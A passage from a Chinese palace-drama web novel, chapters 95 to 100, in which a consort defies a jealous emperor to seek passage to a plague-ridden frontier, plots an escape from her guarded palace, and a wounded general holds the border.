哪怕是心中鄙夷,也必须要尽职尽责,毕竟这段时间,墨司渊对他的态度,已经是大不如前了。
阿孟顺利进门,对上墨司渊带着点疑问的目光,扯了扯嘴角,柔柔的笑了起来。
她一如从前一般,走上前去,把手中的食盒就这么放在了桌子上。
“皇上批阅奏折辛苦了,臣妾做了点吃的,皇上尝尝?”
一边说着,阿孟一边把自己带来的甜汤和点心给拿了出来,放在桌子上,笑呵呵的盯着墨司渊看。
若不是墨司渊可以确定阿孟绝对不敢在这个时候给自己下毒,他甚至都会以为,这燕窝里面藏了鹤顶红。
眼看着他不动,阿孟在心中默默地骂了一句,紧接着拿起一块糕点,递到了他到嘴边:“陛下?”
她很少有这样千娇百媚的时候,虽然现在换了一张比较普通的脸,可是动作神态都跟从前一般无二,整个人的气质也是有所不同。
墨司渊顺着她的手,试探性的咬了一口,甜滋滋的味道很快就在嘴巴里蔓延开来,的确是很好吃。
“陛下,可还喜欢?”
阿孟再次发动攻击,又开始给他吃燕窝汤。
“意儿,你是不是有什么事情?”
墨司渊下意识的觉得,这碗汤,怕是有点不简单。
“陛下圣明!”
“臣妾听说,边疆瘟疫,所以臣妾请战,想要带着太医院去边疆帮忙。”
阿孟直接就跪在了墨司渊的脚边,神色坚毅!
她现在这个样子,当真是十分有属于孟家的风骨,可是在墨司渊的眼里,就完全变了一个味道。
他一想到阿孟站在城墙上依依不舍的样子,就一阵的火大,直接一把扫落了桌子上的那些碗盘。
“放肆!”
“孟方意,顾凛鹤刚刚出城,你就这么迫不及待!”
盘子砸在阿孟的脸上,划破了她的脸颊。
然而阿孟并没有任何退缩,只是继续开口道:“臣妾只是想要帮皇上排忧解难,并非是为了什么顾将军,臣妾乃是皇上的贵妃,这辈子都只是皇上的人!”
“孟方意,你!”
墨司渊心中恼怒,低头朝着她看过去,却没有看到她的眼睛,就只看见了那道血痕。
心中的万丈怒火,在触及到这血痕的一瞬间,下去了一半。
他伸出手来,轻轻地擦拭着她的伤口:“朕不是有意的!”
“是,皇上无心,臣妾明白。”
“皇上,边疆缺医少药,根本无法抵抗瘟疫,还请皇上三思!”
“现在南楚蠢蠢欲动,若是这瘟疫蔓延到了军营之中,那么我们大景岂不是要危险了?”
阿孟字字句句,说的都是朝政,至于顾凛鹤,她提都没提。
“意儿,你可知,贵妃不能出宫,何况你要去边疆?”
第95章 禁宫谋援
“臣妾明白,”阿孟垂下眼帘,遮住眼底的复杂情绪,“皇上,可边疆局势刻不容缓,还请皇上以大局为重,三思而后行!”
她再次重重地叩首:“现在南楚蠢蠢欲动,战事一触即发。倘若瘟疫蔓延开来,军心涣散,后果不堪设想!皇上,您不能只顾着猜忌,而置边疆将士的生死于不顾啊!”
墨司渊牙关咬紧,他看着阿孟,眼前的女子,明明还是那张熟悉的脸,却又陌生得让他心惊。
“孟方意……”他喃喃开口,声音里带着丝难以置信的痛苦,“你当真就这么恨朕吗?为了一个顾凛鹤,你竟连这种话都说得出口?”
阿孟猛地抬起头,眼底燃烧着熊熊怒火,她直视着墨司渊,一字一顿地说道:“皇上!臣妾再说一遍,臣妾所做的一切,都是为了大景,为了孟家!与顾将军无关!臣妾是皇上的贵妃,这辈子都只能是皇上的人!可皇上呢?您只知猜忌,只知吃醋,您可曾想过,边疆的将士们正在遭受怎样的苦难?”
“您口口声声说有苦衷,可臣妾看到的,只有您的自私和多疑!您不相信臣妾,不相信孟家,您只相信您自己!”
“好!好!好!”墨司渊压抑不住的怒火,竟是气极,他猛地一掌拍在桌案上,那上好的紫檀木竟生生被他拍出几道裂纹。
“你当真以为朕不敢罚你吗!”
阿孟缓缓转过身,脸上没有半分惧色:“皇上要罚,臣妾接着便是。臣妾这条命,早在三年前就已经随着孟家一同埋葬了!如今不过是苟延残喘,皇上若是看着不顺眼,尽管拿去!”
“你!”墨司渊被她这决绝的态度噎得胸口发闷。他从未见过这样的孟方意,从前的她,温柔似水,对他百依百顺,哪怕他犯了错,她也会默默地包容。可如今,她却像是一把出鞘的利剑锋芒毕露。
“孟方意,你别忘了,你是朕的贵妃!”墨司渊怒极反笑。
“臣妾不敢忘!”阿孟的声音斩钉截铁,“可臣妾更不敢忘,臣妾是孟家的女儿!孟家世代忠良,为大景抛头颅,洒热血,可如今,却要被皇上的猜忌毁于一旦吗?”
她猛地一甩衣袖,转身大步离去,背影决绝,没有一丝留恋。
“孟方意!”墨司渊在她身后嘶吼,气的抓起一旁的杯子掷出去,“你给朕站住!”
可阿孟却像是没有听见一般,脚步没有丝毫停顿。
御书房内,一片狼藉,墨司渊颓然地坐在龙椅上,只觉得浑身的力气都被抽干了一般。
他从未想过,有一天,他会和孟方意走到这一步。他以为,只要他把她留在身边,只要他给她无上的荣宠,她就会回心转意。可他却忘了,有些伤痕,是永远无法抹去的。
“皇上……”周海小心翼翼地走了进来,看着满地的狼藉,心中一阵惊惧。
“滚!”墨司渊头也不抬,冷冷地吐出一个字。
周海吓得浑身一颤,连忙退了出去。
墨司渊独自一人坐在御书房内,只觉得四周一片死寂。
他闭上眼睛,脑海中不断浮现出阿孟决绝的眼神,和她那一句句诛心的话语。
“朕真的错了吗?”他喃喃自语,声音里带着一丝迷茫。
可没有人能回答他。
苔蘅殿内。
云珠小心翼翼地捧着药膏,心疼地看着阿孟脸颊上那道触目惊心的血痕:“娘娘,这皇上他怎么下得去手!”
阿孟淡淡地笑了笑,将手中的医书翻过一页,“不过是些皮外伤,不碍事。倒是你,以后说话做事要更加小心,如今我已是贵妃,一言一行都有无数双眼睛盯着,稍有不慎,就会被人抓住把柄。”
云珠眼眶泛红,哽咽道:“奴婢知道,奴婢只是心疼娘娘。”
“好了,别哭了!”阿孟轻叹一声,目光落在医书上,思绪却早已飘远。
墨司渊生性多疑,从前她以为,只要自己真心待他,总有一天能焐热他那颗冰冷的心。可现实却狠狠地给了她一巴掌,让她明白,帝王之心,深不可测,又岂是她一介女子所能揣测的?
正面交锋,无异于以卵击石,唯有暗度陈仓,方有一线生机。
“云珠。”阿孟放下书卷,声音轻而坚定。
“小姐,奴婢在。”云珠应声上前,眼神中透着关切。
“你去联系半夏,让他备好足够的药材和一辆坚固的马车。记住,一切都要隐秘,不能走漏半点风声。”阿孟细细叮嘱。
“奴婢明白。”云珠重重点头,转身欲行。
“等等。”阿孟唤住她,又道,“再悄悄知会太医院里与咱们交好的几位太医,问问他们可愿一同前往边疆。此行凶险,多一份力量,便多一份希望。”
“是,小姐。”云珠领命而去,步履匆匆却又悄无声息。
阿孟望着云珠离去的背影,眼中闪过一丝复杂的情绪。她知道,这一步棋,凶险万分。可为了边疆的百姓,为了孟家的清白,她别无选择。
夜色渐深,苔蘅殿的灯火却依旧通明。阿孟挑灯夜战,将所需药材一一列出清单,又反复推敲着可能遇到的病情及应对之法。她知道,时间紧迫,每一刻都弥足珍贵。
而另一边,墨司渊知道以阿孟的性子,绝不会轻易放弃去边疆的念头。
“周海。”墨司渊的声音冷冽如冰。
“奴才在。”周海躬身应道。
“传朕旨意,封锁苔蘅殿所有消息,任何人不得随意出入。另加派人手,暗中监视孟贵妃的一举一动,务必确保她,不会离开朕的视线。”墨司渊的语气寒意逼人。
“奴才遵旨。”周海领命,心头却是一凛。他知道,皇上这是动了真格。
墨司渊看着周海退下,眼神幽深如古井。他知道,阿孟不会甘心被困,但他也绝不会让她如愿。
他起身,缓步走到窗前,望着夜空中那轮孤月,心中暗道:
“意儿,你终究,逃不出朕的手掌心。”
第96章 深宫谏难
翌日清晨,苔蘅殿外。
平日里进出频繁的宫女太监们,此刻皆被拦在了殿外,取而代之的是一队队身着玄甲的禁卫军,他们面容冷峻,目光如炬,将整个苔蘅殿围得水泄不通。
云珠端着早膳,刚一踏出殿门,便被一名禁卫军拦住。
“皇上有令,任何人不得擅自出入苔蘅殿。”那禁卫军声音冷硬,不带一丝情感。
“我是去给娘娘取早膳,还请这位军爷通融。”云珠强压下心中的不安,尽量让自己的声音听起来平静。
“不行。”禁卫军依旧不为所动,语气坚决。
云珠还想再说些什么,却被身后传来的声音打断。
“云珠,回来吧。”
阿孟不知何时已站在了殿门口,她面色平静,看不出丝毫波澜。
“小姐!”云珠担忧地看了阿孟一眼,却也只能无奈地退回殿内。
阿孟望着眼前这铜墙铁壁般的阵仗,心中冷笑。墨司渊,你以为这样就能困住我吗?
她转身回到殿内,对云珠说道:“看来,皇上是铁了心要将我们困在这里了。”
“小姐,那我们该怎么办?”云珠急得如热锅上的蚂蚁。
“别急。”阿孟安抚道,“我们还有时间。你去把康福叫来,我有事要吩咐他。”
“是,小姐。”云珠应声而去。
不一会儿,康福便来到了阿孟面前。
“娘娘,您找奴才?”康福躬身问道。
“康福,你在这宫中多年,可有信得过的人?”阿孟开门见山问道。
康福思索片刻,道:“奴才倒是认识几个在御膳房和御药房当差的,他们平日里与奴才交好,或许可以一试。”
“好。”阿孟点头,“你去联系他们,让他们暗中帮我们留意宫中的动静,尤其是皇上那边的。另外,再让他们想办法弄些出宫的令牌,以备不时之需。”
“奴才明白。”康福领命,眼中闪过一丝决然。
阿孟望着康福离去的背影,心中暗自盘算。她知道,眼下最关键的,便是要打破这消息封锁,与外界取得联系。否则,纵使她有通天的本事,也难以在这深宫之中施展拳脚。
“娘娘,接下来我们怎么办啊?”云珠在一旁忧心忡忡地问道。
阿孟缓缓转过身,目光落在云珠那张写满忧色的脸上,事已至此,惶恐不安又有何用?墨司渊越是想要将她困死在这深宫之中,她便越要挣脱这宫中。
“怎么办?”阿孟嘴角勾起一抹淡淡的弧度,眼底却闪过一丝锐利的光芒,“自然是要破开这牢笼。”
她猛地转过身,杏眸中燃烧着焦急的火焰,“云珠,快随本宫去御书房,本宫要见陛下!”
她心知,墨司渊虽然多疑善妒,但绝非昏聩之君,若能将边疆的危局剖析清楚,或许能打动他,放她出宫。
然而,当阿孟急匆匆赶到御书房外,却被周海拦了下来。
“贵妃娘娘请留步,陛下正在批阅奏折,不见任何人。”周海依旧是那副不卑不亢的模样。
“周公公,边疆战事紧急,人命关天,本宫有要事禀告陛下,还请公公通融。”阿孟强压下心中的焦躁,尽量让自己的声音听起来平静而恳切。
周海却依旧纹丝不动,只是微微欠身,语气依旧疏离而客套:“娘娘的心意奴才明白,只是陛下有旨,任何人不得打扰,还请娘娘见谅。”
阿孟的心一点点沉了下去,她知道,墨司渊这是铁了心要阻止她出宫。
她强忍着怒意,再次开口,声音却比之前更加清冷了几分:“周公公,烦请转告陛下,就说孟贵妃有话要说。”
周海闻言,脸上依旧没有半分动容,只是眼底闪过一丝不易察觉的异样。他沉默片刻,最终还是微微欠身道:“娘娘稍候,奴才这就去禀告。”
阿孟静静地站在御书房外,感受着空气中凝结般的压抑,心中默默祈祷着,希望墨司渊能够顾全大局,以边疆的安危为重。
片刻后,周海再次走了出来,“贵妃娘娘,陛下有请。”
阿孟深吸一口气,抬步迈入御书房。殿内,墨司渊正端坐在御案后,神情冷峻,目光如冰。他并未抬头看她,只是冷冷开口,语气中带着一丝不易察觉的嘲讽:“孟贵妃有何要事禀告?”
阿孟强缓缓跪倒在地,语气恭敬,却带着一丝不易察觉的疏离:“陛下,臣妾恳请陛下,准许臣妾前往边疆,救治伤兵,遏制瘟疫!”她抬起头,杏眸直视着墨司渊,语气坚定而决绝:“顾将军乃国之栋梁,如今边关战事吃紧,他又身负重伤,若无人及时救治,不仅他性命难保,前线战事也必将受到影响,还望陛下以大局为重!”
她竭力想要打动墨司渊,希望他能够放下私情,以国家大义为重。然而,墨司渊却只是冷冷地看着她,眼底的冰冷和嘲讽愈发浓烈,如同寒冬腊月的冰霜,几乎要将她冻结。
“顾凛鹤?”墨司渊终于抬起头,目光如刀般落在阿孟的脸上,语气森寒,带着浓烈的醋意和掌控欲,“孟贵妃,你如此关心他的安危,莫非是忘了自己如今的身份?”他猛地站起身,走到阿孟面前,居高临下地俯视着她,语气冰冷:“你只需乖乖留在宫中,为谢贵妃看病!边疆之事,自有朕来决断,还轮不到你一个后宫妃嫔指手画脚!”
墨司渊的话,如同冰冷的刀锋,狠狠刺痛了阿孟的心。她抬起头,绝望地看着眼前这个曾经深爱的男人,眼底的火焰一点点熄灭。
她缓缓闭上眼睛,心中一片冰凉,再也没有半分奢望。罢了,既然如此,她也无需再多费口舌,求他怜悯。她孟方意的路,从来都是自己走出来的,即便是在这深宫牢笼之中,她也绝不会坐以待毙!
阿孟抬起头,定定地看着墨司渊,语气平静而疏离,“臣妾明白了。”
这五个字,轻如鸿毛,却仿佛耗尽了她所有的力气。她不再看墨司渊一眼,转身缓缓朝殿外走去。
第97章 筹策
回到苔蘅殿,阿孟并未像往常一样坐在窗前发呆,而是立即召来云珠和康福,低声吩咐道:“既然正门被守死,我们便另辟蹊径。”
“娘娘是想……”云珠眼睛一亮。
阿孟微微点头,“康福,你到御膳房走一趟,说我想吃些新鲜水果,顺便观察后门的守卫情况。云珠,你去传话给半夏,就说一切照计划行事。”
“是,娘娘。”两人领命离去,动作迅速而隐蔽。
接下来的几日,阿孟表面上安分守己,该看书看书,该吃饭吃饭,宛如一个被困在牢笼中的金丝雀,认命地等待着主人的垂怜。
可只有她自己知道,她每日都在暗中观察宫中守卫换班的时辰,记下每个暗道的走向,寻找着可能的突破口。
这日清晨,一封密信被偷偷送进了苔蘅殿。阿孟展开信纸,眉头逐渐紧蹙——边疆瘟疫已经开始蔓延,军中死伤无数,情况危急!
“小姐,怎么了?”云珠见她神色骤变,急忙问道。
阿孟将信纸捏成一团,投入烛火中,看着它化为灰烬,“时间不等人,我们必须尽快离开这里。”
正当她思考对策时,一名小太监匆匆跑来,“孟贵妃,谢贵妃请您过去诊脉。”
阿孟心中冷笑,谢妤这是找准了时机挑衅。但既然入了狼窝,就得先学会与虎谋皮。她整理了一下衣裙,拿起药箱,径直前往朝露宫。
一进宫门,阿孟就看见墨司渊正坐在谢妤榻前,两人亲昵地说着话。谢妤倚在锦榻上,面色红润,哪有半点病容,分明是借着看病的由头,故意要在她面前显摆。
“臣妾参见皇上。”阿孟规规矩矩地行了礼。
墨司渊抬眼看她,眼中情绪复杂,“平身。”
阿孟缓缓起身,目光落在谢妤身上,“不知贵妃娘娘身体何处不适?”
谢妤娇媚一笑,伸出纤纤玉手,“昨日忽觉胸闷气短,恐是有了身孕的缘故,特请孟贵妃来看看。”
阿孟心知肚明,笑意不达眼底,“是,请贵妃伸出手来。”她蹲下身,指尖搭上谢妤的脉搏,静静诊断。
谢妤嘴角挂着得意的笑,眼神却时不时地瞥向墨司渊,确认他是否在看自己。
“孟贵妃,您可要仔细些,最近我总觉得身体频繁不适,您可不能马虎。”谢妤故作关切,语气中却透着一丝挑衅。
阿孟微微一怔,她心中明白,谢妤此举不过是想借机告状,想要在墨司渊面前抹黑自己。
“贵妃的脉象确实有些虚弱,或许是近日操劳过度所致。”阿孟淡淡说道,心中却暗自警惕。
谢妤嘴角的笑意愈发得意,心中暗自得意:“孟贵妃这段时间给我看病,似乎心思根本不在这上面,一天到晚心思重重,难道是心中有事?”
此言一出,殿内温度骤降。墨司渊的脸色瞬间阴沉下来,目光如刀般射向阿孟,“孟贵妃,你可知自己的本分?”
阿孟不动声色地收回手,平静地说:“皇上所言何意?臣妾只知医者仁心,救死扶伤是本分。至于其他,恕臣妾愚钝,不甚了解。”
“放肆!”墨司渊猛地站起身,居高临下地俯视着她,“你一个后宫妃嫔,竟敢如此顶撞朕?”
阿孟神色不变,只是微微低头,“臣妾不敢。”
谢妤见阿孟如此配合,嘴角勾起一抹得意的微笑。
她慵懒地靠在锦榻上,伸出手轻轻搭在墨司渊的臂膀上,眼中满是得胜的喜悦。她心中盘算着,如今保住性命,还得靠阿孟这个医术高明的贱人。
“皇上,”谢妤娇滴滴地开口,声音似乎带着几分虚弱,“别责怪孟贵妃了,臣妾这肚子里的龙嗣要紧。她医术高明,还是要靠她照料的。”
墨司渊缓缓伸手,轻抚过谢妤的面颊,嘴角勾起一抹温柔的笑意:“好,妤儿说得对,朕不该生气。”
“孟贵妃,朕知你心系边疆,但眼下谢贵妃肚子里的龙子更为重要。”墨司渊的语气缓和了几分,“你既已入宫为妃,就该安分守己,莫要总惦记着外面的事。”
“是,皇上。”阿孟恭敬地说道。
谢妤闻言,眼中闪过一丝得意,她故作虚弱地靠在墨司渊怀中:“皇上,臣妾乏了……”
墨司渊立刻将她搂得更紧,轻声道:“好好休息,朕陪着你。”
阿孟站在一旁,看着这对郎情妾意的一幕,心中没有丝毫波动。她甚至有些感谢这三年的历练,让她看清了这个男人的真面目。
诊脉完毕,阿孟取出一个小瓷瓶,“贵妃娘娘气血不足,并无大碍,这是养心安神的药丸,每日晨起服用一粒即可。”
谢妤接过瓷瓶,假装感激,“有劳孟贵妃了。”
“既然谢贵妃身体无恙,臣妾告退。”阿孟行礼后,转身离去。
墨司渊望着她的背影,眯了眯眼。阿孟的平静,狠狠扎在他的心上。他不由自主地收紧了环抱谢妤的手臂,力道之大,几乎要让谢妤发出痛呼。
“皇上,您弄疼臣妾了……”谢妤娇嗔一声,顺势将自己更深地依偎进墨司渊的怀中。
可墨司渊目光紧追阿孟离去的方向,出了神。他沉默片刻,忽而松开了搂着谢妤的手,神色一冷,站起身来。
“皇上?”谢妤不解地看着他,眼中闪过一丝慌乱。
墨司渊整了整衣袖,声音平静得出奇,“朝政繁忙,朕要回御书房了。你且好生休息。”
“可是皇上,您方才不是说要陪臣妾吗?”谢妤急切地拉住墨司渊的衣袍,声音中带着一丝哀怨,“臣妾肚子里可是怀着皇上的龙嗣,需要皇上陪伴才能安稳。”
墨司渊冷冷地瞥了她一眼,目光中带着一丝不易察觉的嘲讽,“朝政要紧。”说罢,他甩开谢妤的手,大步走出了寝殿。
谢妤看着墨司渊远去的背影,一时竟愣在原地,满腔的喜悦如退潮般迅速消散。
“啪——”一只茶盏被砸在地上,瓷片四溅。
第98章 谋离
“贱人!贱人!”谢妤面容扭曲,眼中布满血丝,“不过是一只替死鸟罢了,有何资格与本宫争宠!”
“红豆!红豆!”谢妤大声呼喊,声音尖锐得几乎要刺破宫墙。
红豆匆匆跑来,看见满地狼藉,不禁心惊胆战,“娘娘息怒,娘娘息怒啊!您要爱惜龙体,莫要伤了肚子里的小皇子!”
“皇子?”谢妤冷笑一声,眼中闪过一丝疯狂。“我看皇上对这孩子根本就……”她忽而停下,似是察觉到了什么,摇了摇头,“没什么,都是阿孟那贱人,竟敢在本宫面前摆谱,害得皇上怜惜她,竟不管本宫了!”
红豆小心翼翼地上前,为谢妤整理凌乱的衣裙,低声道:“娘娘莫急,那阿孟不过是个暂时得宠的医女,论身份论家世,如何比得上娘娘?皇上心里自有分寸。”
“分寸?”谢妤怒极反笑,“我看那阿孟就是孟方意!她根本没死,她回来了!”
红豆闻言,面色大变,“这……这怎么可能?”
“有什么不可能的?”谢妤冷笑一声,眼中流露出一丝恐惧,“就算她真是孟方意,本宫也不怕她!”谢妤站起身来,踉跄几步走到铜镜前,看着镜中憔悴的自己,忽而笑了,“红豆,去把宫中所有能来的嫔妃都请来,本宫要设宴。告诉她们,就说本宫心情好,要与姐妹们同乐。”
红豆犹豫道:“可是娘娘,您身子不适……”
“闭嘴!”谢妤厉声打断,“本宫身子好得很!你只管去请人,若是有谁敢不来,就是对本宫不敬!”
刚走出朝露宫,阿孟便感到一阵刺骨的寒意。她微微抬眸,只见顾奚慈正立于回廊尽头。
“孟贵妃,好大的威风啊。”顾奚慈冷笑一声,声音中满是讥讽,“如今得了皇上恩宠,连路过此处,仪仗都比旁人大了几分呢。”
阿孟停下脚步,淡淡地看了她一眼,并不答话。这般沉稳的态度更是激怒了顾奚慈,她猛地上前一步,几乎要贴到阿孟面前。
“你别以为自己攀上了高枝,就能为所欲为!”顾奚慈咬牙切齿,眼中闪烁着恶毒的光芒,“我表哥若有半分闪失,我定要你血债血偿!”
“顾小姐,请自重。”阿孟声音清冷,不卑不亢,“本宫乃是皇上册封的贵妃,你这般言语,是对皇权的不敬。”
“呵,皇权?”顾奚慈冷笑一声,眼中满是不屑,“你不过是个冒牌货罢了!真正的孟方意早已死了,你这个替身,也配谈皇权?”
阿孟眸光微闪,她不动声色地整了整衣袖,淡淡道:“顾小姐,本宫不知你在说什么。若是无事,本宫还有要事在身,先行告退。”
“站住!”顾奚慈猛地拽住阿孟的衣袖,力道之大,几乎要将那精致的锦缎撕裂,“你别想逃!我表哥为何突然被派往边疆?为何刚到边疆就身受重伤?这一切,都是因为你!”
阿孟眸中闪过一丝痛楚,她轻轻挣开顾奚慈的手,声音平静:“顾将军乃国之栋梁,为国征战是他的职责所在。顾小姐若真关心表哥,就该为他的忠勇感到骄傲,而非在此无理取闹。”
“你!”顾奚慈被这一番话噎住,一时竟找不到反驳的言语。她恨恨地盯着阿孟,眼中的怒火几乎要将人灼伤,“别以为我不知道你的心思!你就是想借着这次机会,去边疆见我表哥!”
阿孟闻言,眼中闪过一丝复杂的情绪,但很快便恢复了平静。她微微抬起下巴,目光直视顾奚慈:“本宫身为贵妃,自当以国事为重。边疆瘟疫肆虐,将士们生死攸关,本宫若能施以援手,自当义不容辞。”
“呵,冠冕堂皇!”顾奚慈冷笑一声,眼中满是讥讽,“你不过是想借机逃离这深宫,去寻我表哥罢了!可惜,皇上已经看穿了你的心思,你这辈子,都别想踏出这宫门半步!”
“顾小姐,本宫身为贵妃,一言一行皆代表皇家颜面。”阿孟声音清冷,眼中带着一丝警告,“你若再这般无礼,休怪本宫不客气。”
“不客气?”顾奚慈冷笑一声,眼中满是挑衅,“你能如何不客气?不过是个替身罢了,也敢在本小姐面前摆谱?”
说着,她猛地伸手,朝着阿孟的脸颊扇去。阿孟早有防备,侧身一避,轻松躲过这一掌。顾奚慈一击不中,更是恼羞成怒,再次挥手袭来。
阿孟眼中闪过一丝冷意,不再躲闪,而是抬手一把握住顾奚慈的手腕,力道之大,让顾奚慈不由得闷哼一声。
“顾小姐,本宫再说一遍,请自重。”阿孟声音冰冷,眼中带着威严,“本宫念在你是顾将军的表妹,不与你计较。但若再有下次,休怪本宫不讲情面。”
顾奚慈被这突如其来的力道震慑,一时竟说不出话来。
“顾小姐出身名门,自当懂得礼数。若是让皇上知道你在宫中如此放肆,恐怕顾家也不好交代吧?”
顾奚慈闻言,脸色瞬间变得苍白。她知道,阿孟说的没错。如今的形势,顾家不能添乱,若是惹怒皇上,后果不堪设想。
“你……”顾奚慈咬牙切齿,眼中满是不甘,“你别得意太早!我表哥若有半分闪失,我定不会放过你!”
阿孟松开她的手腕,淡淡道:“顾将军乃国之栋梁,本宫与所有人一样,都希望他平安归来。”
说罢,她转身欲走。
回到苔蘅殿,阿孟不动声色地关上门,确认无人跟踪后,才对云珠低语:“计划有变,明日午间子时,我们从御花园后的水渠离开。”
云珠惊讶地瞪大眼睛,“可是那里……”
“我知道那里戒备森严,但也是他们最容易疏忽的地方。”阿孟眼中闪烁着坚定的光芒,“这是唯一的机会了,半夏已经在外面备好了一切。”
当夜,阿孟寝不能寐,静静地望着窗外的月色。她知道,此行九死一生,稍有不慎,便是万劫不复。但想到边疆将士的安危,想到自己的哥哥,她心中的决心愈发坚定。
“墨司渊,”她在心中默默道,“这一次,我不会再让你如愿。”她的手指不自觉地抚上脸颊上那道尚未完全愈合的疤痕,眼中闪过一丝冷意。
第99章 疫漫军帐
夜色将深,长乐宫的回廊上不见多少人影,只听见时断时续的蝉鸣声在夜风中飘散。云珠侧耳倾听,确认四周无人后,从袖中取出一枚银钱,递给了候在暗处的小太监。
“可记清我方才所说?”云珠低声问道,警惕地扫视四周。
小太监飞快地将银钱揣进怀中,连连点头:“姐姐放心,小的记得清清楚楚。出了宫就直奔东市药铺旁的茶楼,寻那身着褐色衣衫,腰挂半块玉佩的半夏公子,告知他阿孟小姐之事。”
“此事干系重大,若走漏半点风声……”云珠眼神骤冷,声音压得极低。
“小的明白!小的家中尚有老母,也全靠贵妃娘娘的救命之恩才活到今日。此事小的若有半点差池,不用姐姐动手,小的自己先撞死在宫墙上!”小太监说完,躬身退下,转眼便隐入夜色之中。
云珠望着小太监离去的背影,她急忙环顾四周,确认无人注意后,这才快步离去。
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东市一处僻静茶楼的二楼雅间内,半夏百无聊赖地摆弄着桌上茶盏。他生得眉清目秀,一双眼睛却泛着寒光,腰间别着一把匕首,无形中散发出危险的气息。
“半夏公子!”一道微弱的声音从门外传来,半夏陡然起身,手已按在了匕首上。
待看清来人是个面生的小太监,半夏眉头一皱:“何人?”
小太监颤颤巍巍地将云珠的话一字不差地转述完毕,半夏面色骤变。他二话不说,丢下几枚铜钱,翻窗而出,身形如鬼魅般消失在夜色中。
穿过几条僻静的小巷,半夏来到城西一处幽静的宅院前。他熟门熟路地翻过围墙,落在院内。院中一株梅树下,贺景行正悠然自得地斟着酒,月色映在酒杯上,泛着冷冷的光。
“贺神医,阿孟有危险!”半夏顾不上礼数,直奔主题。
贺景行手中的酒杯微微一顿,眼中闪过一丝锐利:“说。”
半夏将消息和盘托出:“顾凛鹤病重,阿孟被困宫中。云珠怕若顾凛鹤有变,阿孟会遭皇上迁怒。”
贺景行闻言,那股平日的吊儿郎当瞬间消失殆尽,眉宇间浮现出凝重之色。他放下酒杯,长身而起:“早料到阿孟那个性子,为了复仇不顾安危。”
他转身回屋,迅速翻出一个小木匣,从中取出几个瓷瓶:“此乃我师父玄机大师珍藏的还魂丹和续命散,即便是命悬一线之人,服下也能保他三日无虞。”
半夏犹豫道:“可宫中戒备森严,我等如何送进去?”
“我自有门路。”贺景行眸光一闪,从匣中又取出一枚血色印信,“当年救过皇上一命,他曾允我一枚血令,持此可入宫觐见。本想留作他用,今日看来,不得不用了。”
半夏眼中闪过感激:“多谢贺神医!”
“不必谢我。”贺景行摇头,眼中闪过一丝复杂,“阿孟虽心系边疆,我却只在乎她的平安。”
“罢了。”贺景行摆手,收拾药物,眼中神色冷静如水,却掩不住内心的焦虑,“备马,今夜我便入宫。若有变故,你在宫外接应。”
半夏点头,眼中闪过坚定之色:“贺神医放心,为了小姐,我愿赴汤蹈火!”
贺景行望着半夏简单纯粹的眼神,不禁失笑:“你这样的人,阿孟到哪里去寻?”
不多时,两人匆匆出了院门。贺景行骑上一匹黑马,向宫城方向疾驰而去,马蹄声在寂静的夜里格外清晰。
边关之上,漫天尘埃与硝烟笼罩了整个战场。
顾凛鹤拖着伤痕累累的身躯,强忍着剧痛一瘸一拐地走向中军帐,营帐中的副将见状连忙上前搀扶。
“将军!您的伤口又开裂了!”副将焦急地跑来,看着顾凛鹤铠甲缝隙中渗出的鲜血,面色大变。
顾凛鹤摇了摇头,嘴角渗出一丝鲜血,却执拗地挣开了副将的搀扶。“无妨,区区小伤,死不了人。”他声音嘶哑,“敌军今晨可有动静?”
副将见劝阻无效,只得叹了口气,将最新的军情呈上。“南楚大军昨夜调动,似是准备再次进犯。我军伤亡惨重,加之瘟疫肆虐,士气低迷,恐怕难以支撑太久。”
顾凛鹤眼神坚毅如铁:“传令下去,加固东南角防线,那里是敌军最可能突破的地方。”
“可是将军,您已经三天没合眼了!再这样下去,恐怕……”
“三军将士都在拼命,我岂能独自安逸?”顾凛鹤打断副将的话,目光扫过城下密密麻麻的南楚士兵,眉头紧锁,“何况,瘟疫已经开始在军中蔓延,我们必须速战速决。”
说话间,一阵剧痛袭来,顾凛鹤闷哼一声,身子微微晃动。副将连忙上前搀扶,却被他轻轻推开。
“将军!您必须休息!”副将急得额头冒汗,“军医说您的伤口已经开始发炎,再不好好治疗,恐怕……”
顾凛鹤苦笑一声,目光望向京城方向,眼中闪过一丝复杂的情绪:“我知道。只是现在,我们别无选择。”
回到中军帐,顾凛鹤终于支撑不住,重重地跌坐在椅上。他小心翼翼地解开盔甲,露出里面已经被鲜血浸透的绷带。
“小心!”军医脸色一变,连忙上前查看,“将军,您的伤口太严重了,必须立刻重新包扎!”
顾凛鹤闭上眼,任由军医摆弄。痛楚如潮水般涌来,却远不及心中的忧虑。
他的脑海中不由自主地浮现出阿孟的面容,还有她为他包扎时那轻柔的动作。
这些回忆如同一剂良药,暂时缓解了他身体的痛楚。
“阿孟……”他轻声呢喃,仿佛这是支撑他活下去的唯一动力。
军医包扎完毕,递上一碗黑乎乎的药汁:“将军,这是能暂时压制伤痛的药,但您的伤势太重,若再不好好休养…”
“我知道,多谢。”顾凛鹤接过药碗,一饮而尽,苦涩的药味在口中蔓延。
夜色渐深,帐外传来士兵们操练的声音。顾凛鹤撑着虚弱的身体,坐在案前,借着微弱的烛光查看战报。
忽然,帐外传来急促的脚步声,副将掀开帐帘闯了进来:“将军!不好了!瘟疫蔓延速度加快,已有三营士兵发病!”
第100章 宫梦忧边
顾凛鹤闻言,眸光一凛,迅速放下了手中的竹简。
他挣扎着站起身,因动作过猛,伤口再度撕裂,一阵尖锐的疼痛席卷全身。
他强忍着没有发出一丝声音,只是紧紧咬住下唇,额头的青筋暴起。
“可有军医前去查看?有无隔离措施?”他声音略显嘶哑,却依然沉稳有力。
“已经派军医前去,但药材不足,根本无法控制病情。”副将忧心忡忡道,“若瘟疫继续蔓延,恐怕……”
话音未落,帐外又传来一阵急促的脚步声:“报!南楚大军列阵挑衅,似有进攻之势!”
顾凛鹤眼神骤冷,转身拿起挂在一旁的佩刀:“传令,全军戒备!”
“将军!您的伤势……”副将焦急地上前,想要阻止。
“战场上,无人不负伤。”顾凛鹤淡淡一笑,眼神坚定,“命悬一线之际,将士们更需要看到他们的将军!”
他一边说着,一边艰难地穿戴铠甲。每一个动作都牵动伤口,疼痛如潮水般涌来,冷汗顺着他的脊背不断滑落。
“昨日的斥候可有回报?敌军主力在哪?”顾凛鹤一边扣上最后一道铠甲搭扣,一边沉声问道。
“回将军,敌军主力似乎集结在东南方向,但情况不明,斥候尚未归来。”副将抱拳回答。
